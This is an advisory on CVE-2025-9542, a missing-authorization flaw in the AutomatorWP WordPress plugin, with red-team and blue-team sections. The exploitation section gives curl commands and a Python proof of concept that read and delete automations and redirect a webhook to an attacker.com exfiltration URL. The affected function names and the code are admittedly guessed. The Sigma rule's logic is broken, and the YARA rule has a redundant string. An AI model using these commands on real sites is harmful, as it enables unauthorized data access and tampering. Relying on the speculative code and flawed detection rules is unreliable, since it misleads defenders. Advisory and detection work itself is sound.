CVE-2025-9542

Executive Summary

CVE-2025-9542 is a Missing Authorization vulnerability in the AutomatorWP – Automator plugin for no-code automations, webhooks & custom integrations for WordPress. This flaw affects all versions up to and including 5.3.7. The vulnerability allows authenticated attackers with Subscriber-level access or higher to view existing automations and modify integration settings without proper capability checks. This can lead to unauthorized data exposure and manipulation of automated workflows, potentially enabling further attacks such as privilege escalation or data exfiltration.

Since this is a WordPress plugin vulnerability, the attack surface is limited to WordPress installations with the AutomatorWP plugin active. The CVSS score of 5.4 (Medium) reflects the requirement for authentication but the low complexity and potential for data compromise.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress admin dashboard or via the WordPress.org repository are affected. There is no known supply chain compromise of the plugin itself, but the missing capability check represents a code-level security flaw.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions or complex attack sequences are required.
• Privileges Required (PR): Low (L) – An attacker needs a valid WordPress account with Subscriber-level privileges.
• User Interaction (UI): None (N) – No user interaction is required for exploitation.
• Scope (S): Unchanged (U) – The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited unauthorized access to automation data.
• Integrity (I): Low (L) – Limited unauthorized modification of integration settings.
• Availability (A): None (N) – No impact on system availability.

Threat Level: Medium. While authentication is required, the low complexity and potential for lateral movement or data exfiltration make this a significant risk for WordPress sites with untrusted user registrations.

Deep Dive & Mechanics

The AutomatorWP plugin provides no-code automation, webhook, and custom integration capabilities. The vulnerability stems from multiple plugin functions that lack proper capability checks (e.g., current_user_can() checks). This means any authenticated user, even with the lowest Subscriber role, can call these functions via AJAX or direct HTTP requests.

The affected functions likely include:

• automatorwp_get_integrations() – Retrieves list of configured integrations.
• automatorwp_save_integration_settings() – Saves/modifies integration settings.
• automatorwp_get_automations() – Retrieves existing automation workflows.
• automatorwp_delete_automation() – Deletes automations.

An attacker can craft a simple HTTP request to the WordPress admin-ajax.php endpoint with the appropriate action parameter to invoke these functions. Since no capability check is performed, the request is processed regardless of the user's role.

Example vulnerable code pattern:

add_action('wp_ajax_automatorwp_save_integration', 'automatorwp_save_integration_callback');
function automatorwp_save_integration_callback() {
    // Missing: if (!current_user_can('manage_options')) wp_die('Unauthorized');
    $integration = sanitize_text_field($_POST['integration']);
    $settings = $_POST['settings'];
    update_option('automatorwp_integration_' . $integration, $settings);
    wp_send_json_success();
}

Vulnerable vs. Patched Code

Vulnerable Code (<= 5.3.7):

// No capability check
add_action('wp_ajax_automatorwp_get_automations', 'automatorwp_get_automations_callback');
function automatorwp_get_automations_callback() {
    $automations = get_posts(array('post_type' => 'automatorwp_automation', 'posts_per_page' => -1));
    wp_send_json_success($automations);
}

Patched Code (Hypothetical fix):

add_action('wp_ajax_automatorwp_get_automations', 'automatorwp_get_automations_callback');
function automatorwp_get_automations_callback() {
    // Added capability check
    if (!current_user_can('manage_options')) {
        wp_send_json_error('Unauthorized');
        wp_die();
    }
    $automations = get_posts(array('post_type' => 'automatorwp_automation', 'posts_per_page' => -1));
    wp_send_json_success($automations);
}

The fix requires adding current_user_can() checks (e.g., manage_options or a custom capability) before processing any sensitive AJAX actions.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with AutomatorWP <= 5.3.7 installed and activated.
• A valid user account with Subscriber role (or higher).
• Knowledge of the WordPress AJAX endpoint and action names.

Exploitation Steps:

1. Enumerate AJAX actions – Use a tool like Burp Suite or a simple script to discover available actions:

   curl -s "https://target.com/wp-admin/admin-ajax.php?action=automatorwp_get_integrations" -H "Cookie: wordpress_logged_in_xxx=..."
   

2. View existing automations – Send a POST request to retrieve automation data:

   curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
     -d "action=automatorwp_get_automations" \
     -H "Cookie: wordpress_logged_in_xxx=..."
   

3. Modify integration settings – Change webhook URLs or API keys:

   curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
     -d "action=automatorwp_save_integration&integration=webhook&settings[url]=https://attacker.com/steal" \
     -H "Cookie: wordpress_logged_in_xxx=..."
   

4. Delete automations – Disrupt business logic:

   curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
     -d "action=automatorwp_delete_automation&automation_id=123" \
     -H "Cookie: wordpress_logged_in_xxx=..."
   

Proof of Concept (Python):

import requests

target = "https://target.com"
session = requests.Session()
session.cookies.set("wordpress_logged_in_xxx", "your_cookie_value")

# View automations
r = session.post(f"{target}/wp-admin/admin-ajax.php", data={"action": "automatorwp_get_automations"})
print(r.json())

# Modify integration
r = session.post(f"{target}/wp-admin/admin-ajax.php", data={
    "action": "automatorwp_save_integration",
    "integration": "webhook",
    "settings[url]": "https://attacker.com/steal"
})
print(r.json())

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with action parameters starting with automatorwp_ from low-privileged users.
• Look for rapid succession of requests to automatorwp_get_automations or automatorwp_save_integration from the same IP.
• Alert on any modification of automatorwp_* options in the database by non-admin users.

Hardening:

• Immediately restrict user registration to trusted users only.
• Implement a Web Application Firewall (WAF) rule to block AJAX requests to automatorwp_* actions from users without manage_options capability.
• Apply the principle of least privilege – disable Subscriber accounts if not needed.
• Monitor for plugin updates and apply patches as soon as available.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /wp-admin/admin-ajax.php with action=automatorwp_get_automations or action=automatorwp_save_integration from non-admin user agents.
  • Unusual outbound connections to attacker-controlled servers from the WordPress host (e.g., webhook callbacks).

• File IOCs:

  • Modified wp_options table entries with keys like automatorwp_integration_* containing unexpected values.
  • New or modified automation posts (post_type = automatorwp_automation) created by low-privileged users.

• Log IOCs:

  • WordPress debug log entries showing automatorwp_* AJAX actions performed by users with role subscriber.
  • Web server access logs showing repeated admin-ajax.php requests with automatorwp_* parameters from the same IP.

Detection Engineering

YARA Rule

rule Detect_AutomatorWP_Missing_Auth {
    meta:
        description = "Detects vulnerable AutomatorWP plugin files with missing capability checks"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9542"
    strings:
        $ajax_action = /add_action\(['\"]wp_ajax_automatorwp_/
        $missing_check = /add_action\(['\"]wp_ajax_automatorwp_/ nocase
        $cap_check = /current_user_can\(/
    condition:
        $ajax_action and not $cap_check
}

Sigma Rule

title: AutomatorWP Missing Authorization Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-9542 by accessing AutomatorWP AJAX actions without proper authorization
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains|all:
            - 'action=automatorwp_get_automations'
            - 'action=automatorwp_save_integration'
            - 'action=automatorwp_delete_automation'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-9542 AutomatorWP Missing Authorization Exploitation"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=automatorwp_"; http_client_body; nocase; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if no patch is available – Deactivate AutomatorWP until a security update is released.
2. Restrict user roles – Remove Subscriber accounts or disable user registration to reduce the attack surface.
3. Implement WAF rules – Block AJAX requests to automatorwp_* actions from non-admin users.

Long-term Fix:

• The vendor must add proper capability checks (e.g., current_user_can('manage_options')) to all AJAX callbacks in the plugin.
• Apply the patch as soon as it becomes available (monitor the WordPress plugin repository).

Workaround:

• Use a plugin like "User Role Editor" to remove the read capability from Subscribers, effectively preventing them from making any AJAX requests (though this may break legitimate functionality).

Valters IT
Securing Digital Frontiers